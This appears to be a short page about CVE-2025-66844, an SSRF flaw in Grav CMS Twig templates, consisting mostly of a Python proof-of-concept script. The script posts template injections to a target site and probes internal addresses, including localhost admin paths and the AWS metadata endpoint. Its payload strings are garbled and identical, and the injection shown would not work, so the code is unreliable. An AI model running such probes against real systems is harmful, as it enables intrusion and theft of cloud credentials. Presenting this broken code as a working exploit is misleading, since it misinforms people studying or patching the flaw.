CVE-2025-66844: Grav CMS Twig模板服务器端请求伪造漏洞

# CVE-2025-66844 SSRF PoC for Grav CMS # This PoC demonstrates the SSRF vulnerability in Grav CMS Twig templates # Target: Grav CMS < 1.7.49.5 with undefined PHP functions allowed import requests import sys target_url = "http://target-site.com/" # SSRF payload using Twig template syntax # This attempts to make the server request internal resources ssrf_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" # Alternative payload for internal port scanning internal_scan_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" # Payload to read local files via SSRF file_read_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" def test_ssrf(target): """Test for SSRF vulnerability""" print(f"[*] Testing SSRF vulnerability on {target}") # Test basic SSRF to internal service test_urls = [ "http://127.0.0.1:80/", "http://localhost/admin/", "http://169.254.169.254/latest/meta-data/", # AWS metadata ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", } for url in test_urls: try: # Inject SSRF payload via page content parameter data = { "page[content]": f"{{{{ {url} }}}}", "page[template]": "default" } response = requests.post(target, headers=headers, data=data, timeout=10) print(f"[+] Sent SSRF probe to {url}") print(f" Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_ssrf(target_url)